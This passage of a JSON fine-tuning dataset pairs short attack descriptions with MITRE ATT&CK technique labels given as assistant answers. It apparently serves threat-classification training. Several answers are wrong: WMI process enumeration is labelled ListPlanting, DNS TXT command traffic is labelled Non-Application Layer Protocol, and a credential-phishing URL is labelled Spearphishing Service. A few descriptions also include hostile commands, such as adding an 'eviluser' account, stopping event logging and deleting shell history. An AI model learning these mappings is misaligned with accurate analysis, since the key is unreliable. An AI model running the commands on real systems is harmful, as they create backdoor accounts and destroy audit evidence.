                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes a compromised Google Workspace account to sync exfiltrated data to Google Drive."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the open-source script secretsdump.py, the threat actor pulls domain credentials from a remote domain controller's NTDS.dit and SYSTEM hive."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clones a compromised user's smart card credentials and uses them for badge access to systems."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware variant uses a UAC bypass technique to escalate its privileges on a Windows system without requiring user intervention."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes the deployment of a persistence mechanism via a malicious transport agent that reloads after service restarts."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a malicious Bash script on the compromised Linux host to enumerate user credentials and system information."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor accesses the company's internal GitLab instance to clone repositories containing source code."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious compressed archive (.zip) that contains an executable; the user extracts and runs the .exe, executing the malicious file."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intercepts and rewrites JSON data in transit to change command parameters sent to a remote system."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors upload log files to a malicious HTTP endpoint using a custom webhook implemented in the victim’s Jenkins pipeline."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link delivered via a social media direct message leads the recipient to a credential‑stealing site mimicking the corporate VPN portal."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sent spear‑phishing messages on LinkedIn to trick users into entering their login credentials, then used the harvested accounts for further reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues DNS zone transfer requests (AXFR) against the internal DNS server to obtain hostnames of all devices."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a batch file that runs \"net user eviluser /add\" and adds the user to the Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads encrypted credential entries from the Windows Credential Manager and decrypts them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the host's Docker daemon to generate a malicious image that later runs on other systems."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised Okta account, the attacker accessed all connected cloud services and exfiltrated sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The botnet's DGA uses a deterministic pseudo‑random number generator seeded by the Windows GUID to produce domain lists for C2 outreach."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is introduced into a popular open‑source package manager by publishing a malicious version that mimics a legitimate update."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor manipulates the container orchestrator's task queue to schedule a malicious container that harvests environment variables from other pods."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Remote Desktop Services to join an ongoing RDP session, effectively bypassing login prompts."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a compromised cloud storage bucket as a dead drop, retrieving commands and uploading stolen data over web protocols."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the system, the actor stages key logs and screenshots in a temporary location for batch exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses Asynchronous Procedure Calls to inject its payload into a running Windows process, allowing code execution in the context of that process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a misconfigured IAM role to pull the application's access token from the metadata service."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document triggers a loop that continuously writes to the disk, filling up storage and preventing legitimate applications from functioning."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a man-in-the-middle attack on an RDP session, forcing the user to re-authenticate and then reusing the captured credentials to log in as the user."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary installs a keylogger via a malicious browser extension, capturing inputs across web forms and sending them to a command-and-control endpoint."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT group hijacks active RDP sessions by replaying the session’s TLS handshake data to seize the connection."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts spearphishing messages with a malicious URL that redirects users to a counterfeit login portal to capture their usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes 'modinfo' on each module found in /lib/modules to gather driver metadata."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers purchase a data set from a dark web vendor that includes the full names of employees at the target organization."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware includes a function that issues \"DeleteVolume\" via Windows Management Instrumentation to remove logical volumes."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injected a rogue kernel module that altered the Windows kernel image during a scheduled patch, resulting in a compromised system image."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering system log files from /var/log and preparing them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary harvests client configuration files and environment variables to understand the victim's system settings."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate routing tables and DHCP logs to map the victim's IP address space."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker spoofs DHCP responses to client requests, directing them to a malicious DNS server that resolves internal domains to attacker‑controlled IPs."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage the Windows Management Instrumentation (WMI) class Win32_Process to enumerate processes for injection."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed a PowerShell script inside a PDF's embedded file stream, using steganography to conceal it."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the command 'sc stop eventlog' to halt Windows event logging."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware clears the user's shell command history by deleting the .bash_history and .zsh_history files to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a phishing email to request an updated employee role list, aiming to discover who has access to critical systems and network infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sets the service's failure actions to restart the payload on crash for resilience."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set steals a SAML assertion and replays it to impersonate an authorized user."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat disables Gatekeeper by setting the 'gatekeeper' preference to 'none' via defaults command."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group runs mass queries against certificate transparency logs to find newly issued SSL certificates for the victim's domains."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware contacts a malicious web service endpoint to retrieve tasks and upload results, employing the Dead Drop Resolver sub‑technique."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts OSINT on professional networking sites to gather technical details about the target's technology stack."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the CMSTP system binary, the intruder proxied a trusted executable to run a hidden PowerShell backdoor on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a lateral movement scenario, the adversary uses mshta to execute a WMI script that creates a new admin user."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purchase detailed engineering manuals for a specific industrial controller from a private black‑market source."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses msiexec.exe to launch PowerShell code embedded in an MSI, achieving system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses AI-generated content in phishing emails to make them more convincing and increase the success rate of privilege escalation attacks."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scans the file system for .pem and .ppk files that lack password protection and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool extracts the \"UserName\" value from the Windows registry to determine the active user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker places a rogue .dylib in a location that is prioritized by the dynamic linker, causing victim processes to load the malicious library instead of the legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious QR code posted on social media leads victims to a site that exploits their mobile browsers to install spyware."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT deployed a web shell by modifying the IIS application pool settings to execute a PowerShell script on startup."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leveraged QueueUserAPC to queue a malicious routine onto an existing thread in a high‑privilege process, achieving code execution via thread hijacking."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware issues commands to format the hard drive, wiping all stored information."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the Terminal Services server component loading routine to execute custom code via a DLL placed in the %ProgramFiles%\\Remote Desktop Services folder."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious AppleScript is used to gain elevated privileges on macOS through a privileged helper tool."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries public vulnerability repositories such as NVD and CVE Details to gather known software weaknesses."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool sends encoded commands inside DNS TXT record queries to control the infected host."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator clears the command history in macOS Terminal by executing \"rm -f ~/.zsh_history\" after executing privileged commands."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queried the Windows Registry to retrieve proxy settings and exfiltrated the data to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan runs a loop that repeatedly requests the user’s password for a network share, eventually capturing the correct credentials through forced authentication."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromise of a cloud service's API keys allows the attacker to replace the current encryption key with a weaker one, forcing a downgrade of data protection."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor obtains a self-signed certificate from a compromised CI/CD pipeline and installs it on the target system to sign and execute malicious scripts without alerts."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries add a rogue smartphone as a trusted device to a victim’s Azure AD profile, effectively bypassing MFA prompts."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using public community strings, the threat actor harvested configuration data via SNMP MIB dumps from routers."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the registry to auto-create a local account on system boot."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a malicious DLL that hijacks the video capture API to stream footage to an external server."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a payload that, once executed, adds the attacker’s SSH key to the authorized_keys of the default 'ubuntu' user on newly provisioned VMs."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan searches the system for .db files containing application data and transfers them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
